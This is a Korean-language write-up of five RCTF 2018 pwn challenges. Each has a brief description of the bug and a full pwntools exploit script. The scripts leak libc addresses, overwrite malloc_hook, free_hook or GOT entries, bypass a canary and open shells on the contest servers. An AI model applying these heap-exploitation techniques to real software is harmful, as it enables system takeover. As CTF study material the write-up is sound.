RCTF 2018 Write up
Baby HEAP
운 좋게 1등으로 문제를 풀었다 !!
문자열을 입력받는 함수에서 POISON-NULL-Byte 취약점이 생긴다.
취약점을 써서 뚝딱 풀면 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | from pwn import * #p=process('./babyheap') p=remote('babyheap.2018.teamrois.cn',3154) def alloc(size,content): p.sendlineafter(': ','1') p.sendlineafter(': ',str(size)) p.sendlineafter(': ',content) def show(idx): p.sendlineafter(': ','2') p.sendlineafter(': ',str(idx)) def delete(idx): p.sendlineafter(': ','3') p.sendlineafter(': ',str(idx)) alloc(24,'AAAA') alloc(256,'B'*240+p64(0x100)+p64(0x121)) alloc(256,'CCC') #2 delete(0) delete(1) alloc(24,'A'*24) #0 alloc(0x88,'BBBB') #1 alloc(0x60,'bbbb') #3 delete(1) delete(2) p.recvuntil('Exit') p.recvuntil('Exit') sleep(1) alloc(0x88,'ZZZZ') #1 alloc(0x80,'bbbb') #2 alloc(0x80,'cccc') #4 delete(2) show(3) p.recvuntil('content: ') main_arena = u64(p.recv(6)+'\x00\x00') + 88 - 176 malloc_hook = main_arena - 0x10 libc_base = main_arena - 0x3c4b20 print hex(main_arena) print hex(malloc_hook) print hex(libc_base) delete(4) alloc(0x60,'aaaa') alloc(0x60,'cccc') delete(2) delete(4) delete(3) alloc(0x60,p64(malloc_hook-0x23)) alloc(0x60,'cccc') alloc(0x60,'aaaa') alloc(0x60,'A'*0x13+p64(libc_base+0x4526a)) p.interactive() | cs |
RNote3
data 포인터 첫 바이트를 NULL로 만들면 되는데 그것을 생각했을 때 익스를 거의 다 짠 상태라 그냥 2번째 BYTE를 NULL로 만드는 익스를 짰다.
취약점은 DELETE를 할 때 스택에서 NULL로 초기화를 안 시켜서 UAF 취약점이 생긴다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | from pwn import * #p=process('./RNote3') p=remote('rnote3.2018.teamrois.cn',7322) def add(title,size,content): sleep(0.5) p.sendline('1') p.sendlineafter('title: ',title) print p.sendlineafter('size: ',str(size)) p.sendlineafter('content: ',content) def view(title): sleep(0.5) p.sendline('2') p.sendlineafter(': ',title) def edit(title,content): sleep(0.5) p.sendline('3') p.sendlineafter(': ',title) p.sendlineafter(': ',content) def delete(title): sleep(0.5) p.sendline('4') p.sendlineafter(': ',title) while True: try: # p=process('./RNote3') p=remote('rnote3.2018.teamrois.cn',7322) print p.recv(1024) p.sendline('-1') add('AAAA',24,'AAAA') delete('AAAA') delete('AAAA') add('',24,'AAAA') add('',24,'AAAA') add('BBBB',0xb0,p64(0x119)) add('CCCC',24,'CCCC') add('DDDD',256,'/bin/sh\x00') delete('CCCC') delete('') view('\x40') if 'valid' not in p.recvuntil('title'): print 'Correct' p.recvuntil('note content: ') heap = u64(p.recv(6)+'\x00\x00') - 0x140 print hex(heap) add('',24,'AAAA') add('CCCC',24,'CCCC') delete('') delete('') delete('BBBB') add('',0xb0,'BBBB') add(p64(heap+0x140)[0:6],24,'AAAA') add('!!!!',24,'@'*7+'\x00'+p64(0x500)+p64(heap+0x98)) view('@'*7) p.recvuntil('note content: ') main_arena = u64(p.recv(6)+'\x00\x00') - 88 libc_base = main_arena - 0x3c4b20 free_hook = libc_base + 0x3c67a8 print hex(main_arena) print hex(free_hook) edit('@'*7,'A'*0xa0 + p64(0) + p64(0xc0) + p64(0x21) + '@'*7 + '\x00' + p64(0x500) + p64(free_hook)) edit('@'*7,p64(libc_base+0x45390)) p.interactive() else: asd() #error except: print 'Error' | cs |
Simulator
a2[0] = asm_opcode
a2[1] = reg_idx
a2[2] = reg_idx
a2[3] = reg_idx
대충 인덱스에 이런 식으로 들어간다 if 문으로 asm을 입력하면 opcode로 바꿔주고 OPCODE를 if 문으로 나누는데
add, and, sub, slt, or 5개만 내가 입력한 문자열로 인덱스를 정해줄 수 있다.
인덱스 값 범위를 필터링 하지 않았기 때문에 OOB취약점이 생긴다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | from pwn import * import hashlib import string def proof_of_work(): data = p.recvline().split('\n')[0] str_ = string.ascii_letters + string.digits key = "" check = False print data for one in str_: if check: break for two in str_: if check: break for three in str_: if check: break for fo in str_: key = data + one + two + three + fo if check: break if hashlib.sha256(key).digest().startswith('\0\0\0'): print (one+to+three+fo) p.send(one+to+three+fo) check = True #p=process('./simulator') p=remote('simulator.2018.teamrois.cn',3131) proof_of_work() sleep(1) p.sendline('.text') p.sendline('sub {0},{1},{2}'.format('4294966944','134523785','1')) #puts -> main p.sendline('sub {0},{1},{2}'.format('4294966942','134514033','1')) #strdup -> printf p.sendline('END') p.sendline('.data') sleep(1) p.sendline('%2$p') fgets = int(p.recv(10),16) - 11 #server -> 0x5d620 libc_base = fgets - 0x5d620 system = libc_base + 0x3a940 cmd = libc_base + 0x15902b print hex(fgets) print hex(libc_base) print hex(system) print hex(cmd) p.sendline('%159$p') canary = int(p.recv(10),16) print hex(canary) p.sendline('.text') p.sendline('sub {0},{1},{2}'.format('4294966944','134514033','1')) #puts recovery p.sendline('END') p.recvuntil('comment: ') p.sendline('AAAA') payload = 'A'*32 payload += p32(canary) payload += 'B'*12 payload += p32(system) payload += p32(cmd) * 2 print p.sendlineafter('comment: ',payload) p.interactive() | cs |
RNote4
NO-RELRO를 보고 바로 strtab덮어야지 했는데 이상하게 안 덮여서 삽질을 하다가 그냥 free@got를 system으로 브포를 돌렸다.
문제를 풀고 다시 확인해보니 strtab을 이상하게 덮으려고 했다 ..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | from pwn import * p=process('./RNote4') def alloc(size,data): p.send('\x01') p.send(size) p.send(data) def edit(idx,size,data): sleep(0.5) p.send('\x02') p.send(idx) p.send(size) p.send(data) def delete(idx): sleep(0.5) p.send('\x03') p.send(idx) while True: try: # p=process('./RNote4') p=remote('rnote4.2018.teamrois.cn',6767) alloc('\x18','A'*24) alloc('\x18','B'*24) alloc('\x18','C'*24) alloc('\x18','/bin/sh\x00'+'\x00'*16) edit('\x01','\x30','B'*40+p64(0x602018)) delete('\x00') edit('\x02','\x03','\x90\x33\x56') delete('\x03') p.sendline('id;ls') print p.recv(1024) p.sendline('id;ls') print p.recv(1024) p.interactive() except: p.close() p.interactive() | cs |
Stringer
문제를 보자마자 그 취약점이 생각났다.
ROOT_CTF Allocate가 아래 ptrmalloc에 나오는 calloc trick, realloc trick을 이용한 문제였는데 모르고
realloc에서 NULL로 덮지 않았다. ㅠㅠㅠ
https://github.com/andigena/ptmalloc-fanzine
위에서 03scraps-calloc.c trick이 이 문제 핵심이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | from pwn import * #p=process('./stringer') p=remote('stringer.2018.teamrois.cn',7272) def new(length,string): p.sendlineafter('choice: ','1') p.sendlineafter(': ',str(length)) if(len(string) < length): p.sendlineafter(': ',string) else: p.sendafter(': ',string) def edit(idx,byte_idx): p.sendlineafter('choice: ','3') p.sendlineafter(': ',str(idx)) p.sendlineafter(': ',str(byte_idx)) def delete(idx): p.sendlineafter('choice: ','4') p.sendlineafter(': ',str(idx)) new(24,'A'*24) #0 new(0x100,'B'*0x100) #1 new(0x100,'C'*0x100) #2 delete(1) edit(0,24) edit(0,24) new(0x100,'\n') #3 p.recvuntil('your string:') p.recv(1) main_arena = u64(p.recv(6)+'\x00\x00') - 0x16 + 0x2c libc_base = main_arena - 0x3c4b20 malloc_hook = main_arena - 0x10 print hex(main_arena) print hex(libc_base) print hex(malloc_hook) new(0x60,'AAAA') #4 new(0x60,'BBBB') #5 delete(4) delete(5) delete(4) new(0x60,p64(malloc_hook-0x23)) new(0x60,'BBBB') new(0x60,'AAAA') new(0x60,'A'*0x13+p64(libc_base+0xf02a4)) p.sendlineafter('choice: ','1') p.sendlineafter('length: ','24') p.interactive() | cs |